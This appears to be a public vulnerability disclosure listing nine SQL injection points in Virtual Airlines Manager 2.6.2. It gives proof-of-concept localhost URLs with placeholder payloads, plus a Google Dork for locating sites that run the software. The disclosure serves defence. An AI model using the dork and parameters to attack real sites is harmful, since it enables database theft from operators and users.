Virtual Airlines Manager 2.6.2 - (multiple) SQL Injection Vulnerability

# Exploit Title: Virtual Airlines Manager 2.6.2 - 'multiple' SQL Injection
# Google Dork: Powered by Virtual Airlines Manager [v2.6.2]
# Exploit Author: Milad Karimi
# Vendor Homepage: http://virtualairlinesmanager.net
# Software Link: https://virtualairlinesmanager.net/index.php/vam-releases/
# Version: 2.6.2
# Tested on: Ubuntu 19.04

[1] Vulnerable GET parameter: notam_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=notam&notam_id=[SQLi]

[2] Vulnerable GET parameter: airport=[SQLi]
[PoC] http://localhost/vam/index.php?page=airport_info&airport=[SQLi]

[3] Vulnerable GET parameter: registry_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=plane_info_public&registry_id=[SQLi]

[4] Vulnerable GET parameter: plane_location=[SQLi]
[PoC] http://localhost/vam/index.php?page=fleet_public&plane_location=[SQLi]

[5] Vulnerable GET parameter: hub_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=hub&hub_id=[SQLi]

[6] Vulnerable GET parameter: pilot_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=pilot_details&pilot_id=[SQLi]

[7] Vulnerable GET parameter: registry_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=plane_info_public&registry_id=[SQLi]

[8] Vulnerable GET parameter: event_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=event&event_id=[SQLi]

[9] Vulnerable GET parameter: tour_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=tour_detail&tour_id=[SQLi]